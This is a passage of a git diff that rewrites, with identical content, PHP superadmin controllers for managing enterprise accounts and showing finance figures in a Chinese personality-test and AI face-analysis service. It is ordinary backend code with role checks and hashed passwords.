= Db::name('users') - ->where('enterpriseId', $id) - ->where('role', 'enterprise_admin') - ->where('deletedAt', null) - ->field('id,username,email,phone,role,status,createdAt,lastLoginTime') - ->select() - ->toArray(); - $data['adminAccounts'] = $adminAccounts; - - // 获取用户列表(排除管理员,只获取未删除的) - $users = Db::name('users') - ->where('enterpriseId', $id) - ->where('role', '<>', 'enterprise_admin') - ->where('deletedAt', null) - ->field('id,username,email,phone,mbtiType,status,createdAt') - ->limit(50) // 限制返回数量 - ->select() - ->toArray(); - $data['users'] = $users; - - // 获取测试结果列表 - $testResults = []; - if (!empty($userIds)) { - $testResults = Db::name('test_results') - ->alias('tr') - ->leftJoin('users u', 'tr.userId = u.id') - ->where('tr.userId', 'in', $userIds) - ->field('tr.id,tr.testType,tr.createdAt,u.username') - ->order('tr.createdAt', 'desc') - ->limit(50) // 限制返回数量 - ->select() - ->toArray(); - } - $data['testResults'] = $testResults; - - // 统计测试用量 - if (!empty($userIds)) { - $data['testUsage'] = Db::name('test_results') - ->where('userId', 'in', $userIds) - ->count(); - } else { - $data['testUsage'] = 0; - } - - return success($data); - } - - /** - * 创建企业 - * @return \think\response\Json - */ - public function create() - { - // 验证是否为超级管理员 - $user = $this->request->user ?? null; - if (!$user || $user['role'] !== 'superadmin') { - return error('无权限访问', 403); - } - - $data = Request::post(); - - // 验证必填字段 - if (empty($data['name'])) { - return error('企业名称不能为空', 400); - } - - // 验证管理员账号信息 - if (empty($data['adminUsername'])) { - return error('管理员用户名不能为空', 400); - } - - if (empty($data['adminPassword'])) { - return error('管理员密码不能为空', 400); - } - - if (strlen($data['adminPassword']) < 6) { - return error('密码长度至少6位', 400); - } - - // 检查企业代码是否重复(如果提供了代码) - if (!empty($data['code'])) { - if (EnterpriseModel::where('code', $data['code'])->find()) { - return error('企业代码已存在', 400); - } - } - - // 检查管理员用户名是否已存在 - if (Db::name('users')->where('username', $data['adminUsername'])->find()) { - return error('管理员用户名已存在', 400); - } - - // 状态映射(前端使用operating/trial/disabled) - $status = $data['status'] ?? 'operating'; - if (!in_array($status, ['operating', 'trial', 'disabled'])) { - $status = 'operating'; - } - - // 验证试用到期时间 - if ($status === 'trial') { - if (empty($data['trialExpireAt'])) { - return error('选择试用状态时,必须设置试用到期时间', 400); - } - // 确保到期时间大于当前时间 - if ($data['trialExpireAt'] <= time()) { - return error('试用到期时间必须大于当前时间', 400); - } - } - - // 开启事务 - Db::startTrans(); - try { - // 创建企业 - $enterprise = new EnterpriseModel(); - $enterprise->name = $data['name']; - $enterprise->code = $data['code'] ?? null; - $enterprise->contactName = $data['contactName'] ?? null; - $enterprise->contactPhone = $data['contactPhone'] ?? null; - $enterprise->contactEmail = $data['contactEmail'] ?? null; - $enterprise->balance = $data['balance'] ?? 0.00; - $enterprise->status = $status; - $enterprise->trialExpireAt = ($status === 'trial' && isset($data['trialExpireAt'])) ? $data['trialExpireAt'] : null; - $enterprise->save(); - - $enterpriseId = $enterprise->id; - - // 创建企业管理员账号 - $adminUser = [ - 'username' => $data['adminUsername'], - 'password' => password_hash($data['adminPassword'], PASSWORD_DEFAULT), - 'email' => $data['contactEmail'] ?? null, - 'phone' => $data['contactPhone'] ?? null, - 'role' => 'enterprise_admin', - 'enterpriseId' => $enterpriseId, - 'status' => 1, - 'createdAt' => time(), - 'updatedAt' => time() - ]; - - Db::name('users')->insert($adminUser); - - // 提交事务 - Db::commit(); - - $enterpriseData = $enterprise->toArray(); - $enterpriseData['userCount'] = 1; // 刚创建的企业管理员 - $enterpriseData['testUsage'] = 0; - - return success($enterpriseData, '企业创建成功,管理员账号已创建'); - } catch (\Exception $e) { - // 回滚事务 - Db::rollback(); - return error('创建失败:' . $e->getMessage(), 500); - } - } - - /** - * 更新企业 - * @param int $id - * @return \think\response\Json - */ - public function update($id) - { - // 验证是否为超级管理员 - $user = $this->request->user ?? null; - if (!$user || $user['role'] !== 'superadmin') { - return error('无权限访问', 403); - } - - $enterprise = EnterpriseModel::find($id); - - if (!$enterprise) { - return error('企业不存在', 404); - } - - $data = Request::put(); - $oldBalance = (float) ($enterprise->balance ?? 0); - - // 如果更新企业代码,检查是否重复 - if (isset($data['code']) && $data['code'] != $enterprise->code) { - if (EnterpriseModel::where('code', $data['code'])->find()) { - return error('企业代码已存在', 400); - } - } - - // 状态验证 - if (isset($data['status']) && !in_array($data['status'], ['operating', 'trial', 'disabled'])) { - return error('状态值无效', 400); - } - - // 验证试用到期时间 - $status = $data['status'] ?? $enterprise->status; - if ($status === 'trial') { - if (empty($data['trialExpireAt'])) { - return error('选择试用状态时,必须设置试用到期时间', 400); - } - // 确保到期时间大于当前时间 - if ($data['trialExpireAt'] <= time()) { - return error('试用到期时间必须大于当前时间', 400); - } - $enterprise->trialExpireAt = $data['trialExpireAt']; - } else { - // 如果不是试用状态,清空到期时间 - $enterprise->trialExpireAt = null; - } - - $enterprise->save($data); - - $newBalance = (float) ($enterprise->balance ?? 0); - if ($newBalance > $oldBalance) { - try { - \app\controller\api\Distribution::unfreezeCommissions((int) $id); - } catch (\Throwable $e) { - // 余额已更新成功,解冻失败不阻断主流程 - } - } - - $enterpriseData = $enterprise->toArray(); - - // 统计用户数和测试用量(只统计未删除的用户) - $enterpriseData['userCount'] = Db::name('users') - ->where('enterpriseId', $id) - ->where('deletedAt', null) - ->count(); - - $userIds = Db::name('users') - ->where('enterpriseId', $id) - ->where('deletedAt', null) - ->column('id'); - - if (!empty($userIds)) { - $enterpriseData['testUsage'] = Db::name('test_results') - ->where('userId', 'in', $userIds) - ->count(); - } else { - $enterpriseData['testUsage'] = 0; - } - - return success($enterpriseData, '更新成功'); - } - - /** - * 删除企业(软删除) - * @param int $id - * @return \think\response\Json - */ - public function delete($id) - { - // 验证是否为超级管理员 - $user = $this->request->user ?? null; - if (!$user || $user['role'] !== 'superadmin') { - return error('无权限访问', 403); - } - - $enterprise = EnterpriseModel::find($id); - - if (!$enterprise) { - return error('企业不存在', 404); - } - - // 检查是否已删除 - if ($enterprise->deletedAt) { - return error('企业已被删除', 400); - } - - // 检查是否有用户关联(只检查未删除的用户) - $userCount = Db::name('users') - ->where('enterpriseId', $id) - ->where('deletedAt', null) - ->count(); - if ($userCount > 0) { - return error('该企业下还有用户,无法删除', 400); - } - - // 软删除(设置 deletedAt 时间戳) - $enterprise->delete(); - - return success(null, '删除成功'); - } - - /** - * 启用/禁用企业 - * @param int $id - * @return \think\response\Json - */ - public function toggleStatus($id) - { - // 验证是否为超级管理员 - $user = $this->request->user ?? null; - if (!$user || $user['role'] !== 'superadmin') { - return error('无权限访问', 403); - } - - $enterprise = EnterpriseModel::find($id); - - if (!$enterprise) { - return error('企业不存在', 404); - } - - // 切换状态:operating <-> disabled - if ($enterprise->status === 'operating') { - $enterprise->status = 'disabled'; - } else { - $enterprise->status = 'operating'; - } - - $enterprise->save(); - - return success($enterprise, '操作成功'); - } -} - +request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $page = Request::param('page', 1); + $pageSize = Request::param('pageSize', 20); + $keyword = Request::param('keyword', ''); + $status = Request::param('status', ''); + + $where = []; + + // 搜索条件 + if ($keyword) { + $where[] = ['name|contactName|contactPhone|code', 'like', '%' . $keyword . '%']; + } + + // 状态筛选 + if ($status !== '') { + $where['status'] = $status; + } + + // 查询企业列表 + $list = EnterpriseModel::where($where) + ->order('createdAt', 'desc') + ->page($page, $pageSize) + ->select() + ->toArray(); + + // 统计每个企业的用户数和测试用量 + foreach ($list as &$item) { + // 统计用户数(只统计未删除的用户) + $item['userCount'] = Db::name('users') + ->where('enterpriseId', $item['id']) + ->where('deletedAt', null) + ->count(); + + // 统计测试用量(测试结果数)- 通过企业下的用户ID统计(只统计未删除的用户) + $userIds = Db::name('users') + ->where('enterpriseId', $item['id']) + ->where('deletedAt', null) + ->column('id'); + + if (!empty($userIds)) { + $item['testUsage'] = Db::name('test_results') + ->where('userId', 'in', $userIds) + ->count(); + } else { + $item['testUsage'] = 0; + } + } + + $total = EnterpriseModel::where($where)->count(); + + // 统计活跃企业数(status为operating) + $activeCount = EnterpriseModel::where('status', 'operating')->count(); + + return success([ + 'list' => $list, + 'total' => $total, + 'page' => $page, + 'pageSize' => $pageSize, + 'activeCount' => $activeCount + ]); + } + + /** + * 获取企业详情 + * @param int $id + * @return \think\response\Json + */ + public function detail($id = null) + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + // 如果路由参数没有传递,尝试从请求参数获取 + if (empty($id)) { + $id = Request::param('id'); + } + + if (empty($id)) { + return error('企业ID不能为空', 400); + } + + $enterprise = EnterpriseModel::find($id); + + if (!$enterprise) { + return error('企业不存在', 404); + } + + $data = $enterprise->toArray(); + + // 获取企业下的所有用户ID(只统计未删除的用户) + $userIds = Db::name('users') + ->where('enterpriseId', $id) + ->where('deletedAt', null) + ->column('id'); + + // 统计用户数 + $data['userCount'] = count($userIds); + + // 获取管理员账号列表(企业管理员角色,只获取未删除的) + $adminAccounts = Db::name('users') + ->where('enterpriseId', $id) + ->where('role', 'enterprise_admin') + ->where('deletedAt', null) + ->field('id,username,email,phone,role,status,createdAt,lastLoginTime') + ->select() + ->toArray(); + $data['adminAccounts'] = $adminAccounts; + + // 获取用户列表(排除管理员,只获取未删除的) + $users = Db::name('users') + ->where('enterpriseId', $id) + ->where('role', '<>', 'enterprise_admin') + ->where('deletedAt', null) + ->field('id,username,email,phone,mbtiType,status,createdAt') + ->limit(50) // 限制返回数量 + ->select() + ->toArray(); + $data['users'] = $users; + + // 获取测试结果列表 + $testResults = []; + if (!empty($userIds)) { + $testResults = Db::name('test_results') + ->alias('tr') + ->leftJoin('users u', 'tr.userId = u.id') + ->where('tr.userId', 'in', $userIds) + ->field('tr.id,tr.testType,tr.createdAt,u.username') + ->order('tr.createdAt', 'desc') + ->limit(50) // 限制返回数量 + ->select() + ->toArray(); + } + $data['testResults'] = $testResults; + + // 统计测试用量 + if (!empty($userIds)) { + $data['testUsage'] = Db::name('test_results') + ->where('userId', 'in', $userIds) + ->count(); + } else { + $data['testUsage'] = 0; + } + + return success($data); + } + + /** + * 创建企业 + * @return \think\response\Json + */ + public function create() + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $data = Request::post(); + + // 验证必填字段 + if (empty($data['name'])) { + return error('企业名称不能为空', 400); + } + + // 验证管理员账号信息 + if (empty($data['adminUsername'])) { + return error('管理员用户名不能为空', 400); + } + + if (empty($data['adminPassword'])) { + return error('管理员密码不能为空', 400); + } + + if (strlen($data['adminPassword']) < 6) { + return error('密码长度至少6位', 400); + } + + // 检查企业代码是否重复(如果提供了代码) + if (!empty($data['code'])) { + if (EnterpriseModel::where('code', $data['code'])->find()) { + return error('企业代码已存在', 400); + } + } + + // 检查管理员用户名是否已存在 + if (Db::name('users')->where('username', $data['adminUsername'])->find()) { + return error('管理员用户名已存在', 400); + } + + // 状态映射(前端使用operating/trial/disabled) + $status = $data['status'] ?? 'operating'; + if (!in_array($status, ['operating', 'trial', 'disabled'])) { + $status = 'operating'; + } + + // 验证试用到期时间 + if ($status === 'trial') { + if (empty($data['trialExpireAt'])) { + return error('选择试用状态时,必须设置试用到期时间', 400); + } + // 确保到期时间大于当前时间 + if ($data['trialExpireAt'] <= time()) { + return error('试用到期时间必须大于当前时间', 400); + } + } + + // 开启事务 + Db::startTrans(); + try { + // 创建企业 + $enterprise = new EnterpriseModel(); + $enterprise->name = $data['name']; + $enterprise->code = $data['code'] ?? null; + $enterprise->contactName = $data['contactName'] ?? null; + $enterprise->contactPhone = $data['contactPhone'] ?? null; + $enterprise->contactEmail = $data['contactEmail'] ?? null; + $enterprise->balance = $data['balance'] ?? 0.00; + $enterprise->status = $status; + $enterprise->trialExpireAt = ($status === 'trial' && isset($data['trialExpireAt'])) ? $data['trialExpireAt'] : null; + $enterprise->save(); + + $enterpriseId = $enterprise->id; + + // 创建企业管理员账号 + $adminUser = [ + 'username' => $data['adminUsername'], + 'password' => password_hash($data['adminPassword'], PASSWORD_DEFAULT), + 'email' => $data['contactEmail'] ?? null, + 'phone' => $data['contactPhone'] ?? null, + 'role' => 'enterprise_admin', + 'enterpriseId' => $enterpriseId, + 'status' => 1, + 'createdAt' => time(), + 'updatedAt' => time() + ]; + + Db::name('users')->insert($adminUser); + + // 提交事务 + Db::commit(); + + $enterpriseData = $enterprise->toArray(); + $enterpriseData['userCount'] = 1; // 刚创建的企业管理员 + $enterpriseData['testUsage'] = 0; + + return success($enterpriseData, '企业创建成功,管理员账号已创建'); + } catch (\Exception $e) { + // 回滚事务 + Db::rollback(); + return error('创建失败:' . $e->getMessage(), 500); + } + } + + /** + * 更新企业 + * @param int $id + * @return \think\response\Json + */ + public function update($id) + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $enterprise = EnterpriseModel::find($id); + + if (!$enterprise) { + return error('企业不存在', 404); + } + + $data = Request::put(); + $oldBalance = (float) ($enterprise->balance ?? 0); + + // 如果更新企业代码,检查是否重复 + if (isset($data['code']) && $data['code'] != $enterprise->code) { + if (EnterpriseModel::where('code', $data['code'])->find()) { + return error('企业代码已存在', 400); + } + } + + // 状态验证 + if (isset($data['status']) && !in_array($data['status'], ['operating', 'trial', 'disabled'])) { + return error('状态值无效', 400); + } + + // 验证试用到期时间 + $status = $data['status'] ?? $enterprise->status; + if ($status === 'trial') { + if (empty($data['trialExpireAt'])) { + return error('选择试用状态时,必须设置试用到期时间', 400); + } + // 确保到期时间大于当前时间 + if ($data['trialExpireAt'] <= time()) { + return error('试用到期时间必须大于当前时间', 400); + } + $enterprise->trialExpireAt = $data['trialExpireAt']; + } else { + // 如果不是试用状态,清空到期时间 + $enterprise->trialExpireAt = null; + } + + $enterprise->save($data); + + $newBalance = (float) ($enterprise->balance ?? 0); + if ($newBalance > $oldBalance) { + try { + \app\controller\api\Distribution::unfreezeCommissions((int) $id); + } catch (\Throwable $e) { + // 余额已更新成功,解冻失败不阻断主流程 + } + } + + $enterpriseData = $enterprise->toArray(); + + // 统计用户数和测试用量(只统计未删除的用户) + $enterpriseData['userCount'] = Db::name('users') + ->where('enterpriseId', $id) + ->where('deletedAt', null) + ->count(); + + $userIds = Db::name('users') + ->where('enterpriseId', $id) + ->where('deletedAt', null) + ->column('id'); + + if (!empty($userIds)) { + $enterpriseData['testUsage'] = Db::name('test_results') + ->where('userId', 'in', $userIds) + ->count(); + } else { + $enterpriseData['testUsage'] = 0; + } + + return success($enterpriseData, '更新成功'); + } + + /** + * 删除企业(软删除) + * @param int $id + * @return \think\response\Json + */ + public function delete($id) + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $enterprise = EnterpriseModel::find($id); + + if (!$enterprise) { + return error('企业不存在', 404); + } + + // 检查是否已删除 + if ($enterprise->deletedAt) { + return error('企业已被删除', 400); + } + + // 检查是否有用户关联(只检查未删除的用户) + $userCount = Db::name('users') + ->where('enterpriseId', $id) + ->where('deletedAt', null) + ->count(); + if ($userCount > 0) { + return error('该企业下还有用户,无法删除', 400); + } + + // 软删除(设置 deletedAt 时间戳) + $enterprise->delete(); + + return success(null, '删除成功'); + } + + /** + * 启用/禁用企业 + * @param int $id + * @return \think\response\Json + */ + public function toggleStatus($id) + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $enterprise = EnterpriseModel::find($id); + + if (!$enterprise) { + return error('企业不存在', 404); + } + + // 切换状态:operating <-> disabled + if ($enterprise->status === 'operating') { + $enterprise->status = 'disabled'; + } else { + $enterprise->status = 'operating'; + } + + $enterprise->save(); + + return success($enterprise, '操作成功'); + } +} + diff --git a/api/app/controller/superadmin/Finance.php b/api/app/controller/superadmin/Finance.php index 1ae2230..151ed69 100644 --- a/api/app/controller/superadmin/Finance.php +++ b/api/app/controller/superadmin/Finance.php @@ -1,337 +1,337 @@ -request->user ?? null; - if (!$user || ($user['role'] ?? '') !== 'superadmin') { - return error('无权限访问', 403); - } - - try { - $currentMonthStart = mktime(0, 0, 0, (int) date('n'), 1, (int) date('Y')); - $currentMonthEnd = mktime(23, 59, 59, (int) date('n'), (int) date('t'), (int) date('Y')); - - $basePaid = Db::name('orders')->whereIn('status', self::PAID_STATUS); - $totalRevenue = (int) ((clone $basePaid)->sum('amount') ?? 0); - $paidOrderCount = (int) ((clone $basePaid)->count()); - - $monthRevenue = (int) (Db::name('orders') - ->whereIn('status', self::PAID_STATUS) - ->where('payTime', '>=', $currentMonthStart) - ->where('payTime', '<=', $currentMonthEnd) - ->sum('amount') ?? 0); - - // 成本:无成本表时按收入比例估算(约 30%) - $totalCost = (int) round($totalRevenue * 0.3); - $monthCost = (int) round($monthRevenue * 0.3); - - $netProfit = $totalRevenue - $totalCost; - $monthProfit = $monthRevenue - $monthCost; - $profitRate = $totalRevenue > 0 ? round(($netProfit / $totalRevenue) * 100, 1) : 0; - - $lastMonthStart = mktime(0, 0, 0, (int) date('n') - 1, 1, (int) date('Y')); - $lastMonthEnd = mktime(23, 59, 59, (int) date('n') - 1, (int) date('t', $lastMonthStart), (int) date('Y')); - $lastMonthRevenue = (int) (Db::name('orders') - ->whereIn('status', self::PAID_STATUS) - ->where('payTime', '>=', $lastMonthStart) - ->where('payTime', '<=', $lastMonthEnd) - ->sum('amount') ?? 0); - $lastMonthCost = (int) round($lastMonthRevenue * 0.3); - $lastMonthProfit = $lastMonthRevenue - $lastMonthCost; - $monthGrowth = $lastMonthProfit > 0 - ? round(($monthProfit - $lastMonthProfit) / $lastMonthProfit * 100, 1) - : ($monthProfit > 0 ? 100 : 0); - - return success([ - 'totalRevenue' => $totalRevenue, - 'totalCost' => $totalCost, - 'netProfit' => $netProfit, - 'profitRate' => $profitRate, - 'monthRevenue' => $monthRevenue, - 'monthCost' => $monthCost, - 'monthProfit' => $monthProfit, - 'monthGrowth' => $monthGrowth, - 'paidOrderCount' => $paidOrderCount, - ]); - } catch (\Throwable $e) { - return error('获取财务概览失败:' . $e->getMessage(), 500); - } - } - - /** - * 收入明细:按产品类型汇总(已支付订单),金额单位:分 - */ - public function revenueDetails() - { - $user = $this->request->user ?? null; - if (!$user || ($user['role'] ?? '') !== 'superadmin') { - return error('无权限访问', 403); - } - - try { - $rows = Db::name('orders') - ->whereIn('status', self::PAID_STATUS) - ->field('productType, SUM(amount) as total') - ->group('productType') - ->select() - ->toArray(); - - $typeLabel = [ - 'face' => 'AI人脸分析', - 'mbti' => 'MBTI', - 'disc' => 'DISC', - 'pdp' => 'PDP', - 'resume' => '简历综合分析', - 'report' => '完整报告', - ]; - $totalSum = 0; - $byType = []; - foreach ($rows as $r) { - $type = $r['productType'] ?? 'other'; - $amount = (int) ($r['total'] ?? 0); - $totalSum += $amount; - $byType[$type] = $amount; - } - - $details = []; - foreach ($typeLabel as $key => $label) { - $amount = $byType[$key] ?? 0; - $details[] = [ - 'type' => $label, - 'amount' => $amount, - 'percent' => $totalSum > 0 ? round($amount / $totalSum * 100, 1) : 0, - ]; - } - $otherAmount = 0; - foreach ($byType as $key => $amount) { - if (!isset($typeLabel[$key])) { - $otherAmount += $amount; - } - } - if ($otherAmount > 0) { - $details[] = [ - 'type' => '其他', - 'amount' => $otherAmount, - 'percent' => $totalSum > 0 ? round($otherAmount / $totalSum * 100, 1) : 0, - ]; - } - - return success($details); - } catch (\Throwable $e) { - return error('获取收入明细失败:' . $e->getMessage(), 500); - } - } - - /** - * 成本明细:当前为估算(基于收入的 30% 拆分),金额单位:分 - */ - public function costDetails() - { - $user = $this->request->user ?? null; - if (!$user || ($user['role'] ?? '') !== 'superadmin') { - return error('无权限访问', 403); - } - - try { - $totalRevenue = (int) Db::name('orders') - ->whereIn('status', self::PAID_STATUS) - ->sum('amount'); - $totalCost = (int) round($totalRevenue * 0.3); - - $items = [ - ['type' => 'AI 调用(人脸/分析等)', 'ratio' => 0.15], - ['type' => '服务器及运维', 'ratio' => 0.08], - ['type' => '其他支出', 'ratio' => 0.07], - ]; - $details = []; - foreach ($items as $item) { - $amount = (int) round($totalRevenue * $item['ratio']); - $details[] = [ - 'type' => $item['type'], - 'amount' => $amount, - 'percent' => $totalCost > 0 ? round($amount / $totalCost * 100, 1) : 0, - ]; - } - - return success($details); - } catch (\Throwable $e) { - return error('获取成本明细失败:' . $e->getMessage(), 500); - } - } - - /** - * 企业支付记录(已支付且 enterpriseId 不为空的订单),金额单位:分 - */ - public function rechargeRecords() - { - $user = $this->request->user ?? null; - if (!$user || ($user['role'] ?? '') !== 'superadmin') { - return error('无权限访问', 403); - } - - try { - $page = max(1, (int) Request::param('page', 1)); - $pageSize = min(100, max(1, (int) Request::param('pageSize', 20))); - - $query = Db::name('orders') - ->whereIn('status', self::PAID_STATUS) - ->whereNotNull('enterpriseId') - ->where('enterpriseId', '<>', '') - ->order('payTime', 'desc'); - $total = (int) (clone $query)->count(); - $list = (clone $query)->page($page, $pageSize) - ->field('id, orderNo, enterpriseId, amount, payMethod, payTime') - ->select() - ->toArray(); - - $eids = array_values(array_unique(array_filter(array_column($list, 'enterpriseId')))); - $enterprises = []; - if (!empty($eids)) { - $entList = Db::name('enterprises')->where('id', 'in', $eids)->column('name', 'id'); - $enterprises = $entList ?: []; - } - - $result = []; - foreach ($list as $r) { - $eid = $r['enterpriseId'] ?? null; - $result[] = [ - 'orderNo' => $r['orderNo'] ?? '', - 'enterprise' => $eid ? ($enterprises[$eid] ?? '企业#' . $eid) : '—', - 'amount' => (int) ($r['amount'] ?? 0), - 'method' => $r['payMethod'] === 'wechat' ? '微信支付' : ($r['payMethod'] ?? '—'), - 'date' => !empty($r['payTime']) ? date('Y-m-d H:i', $r['payTime']) : '—', - ]; - } - - return success([ - 'list' => $result, - 'total' => $total, - 'page' => $page, - 'pageSize' => $pageSize, - ]); - } catch (\Throwable $e) { - return error('获取企业支付记录失败:' . $e->getMessage(), 500); - } - } - - /** - * 支付记录(全部已支付订单,分页),金额单位:分 - */ - public function paymentRecords() - { - $user = $this->request->user ?? null; - if (!$user || ($user['role'] ?? '') !== 'superadmin') { - return error('无权限访问', 403); - } - - try { - $page = max(1, (int) Request::param('page', 1)); - $pageSize = min(100, max(1, (int) Request::param('pageSize', 20))); - $keyword = trim(Request::param('keyword', '')); - - $query = Db::name('orders') - ->whereIn('status', self::PAID_STATUS) - ->order('payTime', 'desc'); - - if ($keyword !== '') { - $query->where(function ($q) use ($keyword) { - $q->whereLike('orderNo', '%' . $keyword . '%'); - if (is_numeric($keyword)) { - $q->whereOr('userId', (int) $keyword); - } - }); - } - - $total = (int) (clone $query)->count(); - $list = (clone $query)->page($page, $pageSize) - ->field('id, orderNo, userId, enterpriseId, productType, productTitle, amount, payMethod, payTime') - ->select() - ->toArray(); - - $userIds = array_values(array_unique(array_filter(array_column($list, 'userId')))); - $eids = array_values(array_unique(array_filter(array_column($list, 'enterpriseId')))); - $usersMap = []; - $entMap = []; - if (!empty($userIds)) { - $users = Db::name('wechat_users')->where('id', 'in', $userIds)->field('id, nickname, phone')->select()->toArray(); - foreach ($users as $u) { - $usersMap[(int) $u['id']] = $u; - } - } - if (!empty($eids)) { - $entList = Db::name('enterprises')->where('id', 'in', $eids)->column('name', 'id'); - $entMap = $entList ?: []; - } - - $productTypeLabel = [ - 'face' => 'AI人脸分析', - 'mbti' => 'MBTI', - 'disc' => 'DISC', - 'pdp' => 'PDP', - 'report' => '完整报告', - 'deep_personal' => '个人深度服务', - 'deep_team' => '团队深度服务', - ]; - - $result = []; - foreach ($list as $r) { - $uid = (int) ($r['userId'] ?? 0); - $eid = isset($r['enterpriseId']) && $r['enterpriseId'] !== '' ? (int) $r['enterpriseId'] : null; - if ($eid === 0) { - $eid = null; - } - $u = $usersMap[$uid] ?? null; - $enterpriseName = $eid ? ($entMap[$eid] ?? '企业#' . $eid) : '个人'; - $result[] = [ - 'orderNo' => $r['orderNo'] ?? '', - 'userName' => $u ? ($u['nickname'] ?? ('用户' . $uid)) : ('用户' . $uid), - 'enterprise' => $enterpriseName, - 'enterpriseId' => $eid, - 'productType' => $productTypeLabel[$r['productType'] ?? ''] ?? ($r['productType'] ?? '—'), - 'productTitle' => $r['productTitle'] ?? '', - 'amount' => (int) ($r['amount'] ?? 0), - 'method' => $r['payMethod'] === 'wechat' ? '微信支付' : ($r['payMethod'] ?? '—'), - 'date' => !empty($r['payTime']) ? date('Y-m-d H:i', $r['payTime']) : '—', - ]; - } - - return success([ - 'list' => $result, - 'total' => $total, - 'page' => $page, - 'pageSize' => $pageSize, - ]); - } catch (\Throwable $e) { - return error('获取支付记录失败:' . $e->getMessage(), 500); - } - } - - /** - * 导出财务报表 - */ - public function export() - { - $user = $this->request->user ?? null; - if (!$user || ($user['role'] ?? '') !== 'superadmin') { - return error('无权限访问', 403); - } - return success(null, '财务报表导出功能开发中'); - } -} +request->user ?? null; + if (!$user || ($user['role'] ?? '') !== 'superadmin') { + return error('无权限访问', 403); + } + + try { + $currentMonthStart = mktime(0, 0, 0, (int) date('n'), 1, (int) date('Y')); + $currentMonthEnd = mktime(23, 59, 59, (int) date('n'), (int) date('t'), (int) date('Y')); + + $basePaid = Db::name('orders')->whereIn('status', self::PAID_STATUS); + $totalRevenue = (int) ((clone $basePaid)->sum('amount') ?? 0); + $paidOrderCount = (int) ((clone $basePaid)->count()); + + $monthRevenue = (int) (Db::name('orders') + ->whereIn('status', self::PAID_STATUS) + ->where('payTime', '>=', $currentMonthStart) + ->where('payTime', '<=', $currentMonthEnd) + ->sum('amount') ?? 0); + + // 成本:无成本表时按收入比例估算(约 30%) + $totalCost = (int) round($totalRevenue * 0.3); + $monthCost = (int) round($monthRevenue * 0.3); + + $netProfit = $totalRevenue - $totalCost; + $monthProfit = $monthRevenue - $monthCost; + $profitRate = $totalRevenue > 0 ? round(($netProfit / $totalRevenue) * 100, 1) : 0; + + $lastMonthStart = mktime(0, 0, 0, (int) date('n') - 1, 1, (int) date('Y')); + $lastMonthEnd = mktime(23, 59, 59, (int) date('n') - 1, (int) date('t', $lastMonthStart), (int) date('Y')); + $lastMonthRevenue = (int) (Db::name('orders') + ->whereIn('status', self::PAID_STATUS) + ->where('payTime', '>=', $lastMonthStart) + ->where('payTime', '<=', $lastMonthEnd) + ->sum('amount') ?? 0); + $lastMonthCost = (int) round($lastMonthRevenue * 0.3); + $lastMonthProfit = $lastMonthRevenue - $lastMonthCost; + $monthGrowth = $lastMonthProfit > 0 + ? round(($monthProfit - $lastMonthProfit) / $lastMonthProfit * 100, 1) + : ($monthProfit > 0 ? 100 : 0); + + return success([ + 'totalRevenue' => $totalRevenue, + 'totalCost' => $totalCost, + 'netProfit' => $netProfit, + 'profitRate' => $profitRate, + 'monthRevenue' => $monthRevenue, + 'monthCost' => $monthCost, + 'monthProfit' => $monthProfit, + 'monthGrowth' => $monthGrowth, + 'paidOrderCount' => $paidOrderCount, + ]); + } catch (\Throwable $e) { + return error('获取财务概览失败:' . $e->getMessage(), 500); + } + } + + /** + * 收入明细:按产品类型汇总(已支付订单),金额单位:分 + */ + public function revenueDetails() + { + $user = $this->request->user ?? null; + if (!$user || ($user['role'] ?? '') !== 'superadmin') { + return error('无权限访问', 403); + } + + try { + $rows = Db::name('orders') + ->whereIn('status', self::PAID_STATUS) + ->field('productType, SUM(amount) as total') + ->group('productType') + ->select() + ->toArray(); + + $typeLabel = [ + 'face' => 'AI人脸分析', + 'mbti' => 'MBTI', + 'disc' => 'DISC', + 'pdp' => 'PDP', + 'resume' => '简历综合分析', + 'report' => '完整报告', + ]; + $totalSum = 0; + $byType = []; + foreach ($rows as $r) { + $type = $r['productType'] ?? 'other'; + $amount = (int) ($r['total'] ?? 0); + $totalSum += $amount; + $byType[$type] = $amount; + } + + $details = []; + foreach ($typeLabel as $key => $label) { + $amount = $byType[$key] ?? 0; + $details[] = [ + 'type' => $label, + 'amount' => $amount, + 'percent' => $totalSum > 0 ? round($amount / $totalSum * 100, 1) : 0, + ]; + } + $otherAmount = 0; + foreach ($byType as $key => $amount) { + if (!isset($typeLabel[$key])) { + $otherAmount += $amount; + } + } + if ($otherAmount > 0) { + $details[] = [ + 'type' => '其他', + 'amount' => $otherAmount, + 'percent' => $totalSum > 0 ? round($otherAmount / $totalSum * 100, 1) : 0, + ]; + } + + return success($details); + } catch (\Throwable $e) { + return error('获取收入明细失败:' . $e->getMessage(), 500); + } + } + + /** + * 成本明细:当前为估算(基于收入的 30% 拆分),金额单位:分 + */ + public function costDetails() + { + $user = $this->request->user ?? null; + if (!$user || ($user['role'] ?? '') !== 'superadmin') { + return error('无权限访问', 403); + } + + try { + $totalRevenue = (int) Db::name('orders') + ->whereIn('status', self::PAID_STATUS) + ->sum('amount'); + $totalCost = (int) round($totalRevenue * 0.3); + + $items = [ + ['type' => 'AI 调用(人脸/分析等)', 'ratio' => 0.15], + ['type' => '服务器及运维', 'ratio' => 0.08], + ['type' => '其他支出', 'ratio' => 0.07], + ]; + $details = []; + foreach ($items as $item) { + $amount = (int) round($totalRevenue * $item['ratio']); + $details[] = [ + 'type' => $item['type'], + 'amount' => $amount, + 'percent' => $totalCost > 0 ? round($amount / $totalCost * 100, 1) : 0, + ]; + } + + return success($details); + } catch (\Throwable $e) { + return error('获取成本明细失败:' . $e->getMessage(), 500); + } + } + + /** + * 企业支付记录(已支付且 enterpriseId 不为空的订单),金额单位:分 + */ + public function rechargeRecords() + { + $user = $this->request->user ?? null; + if (!$user || ($user['role'] ?? '') !== 'superadmin') 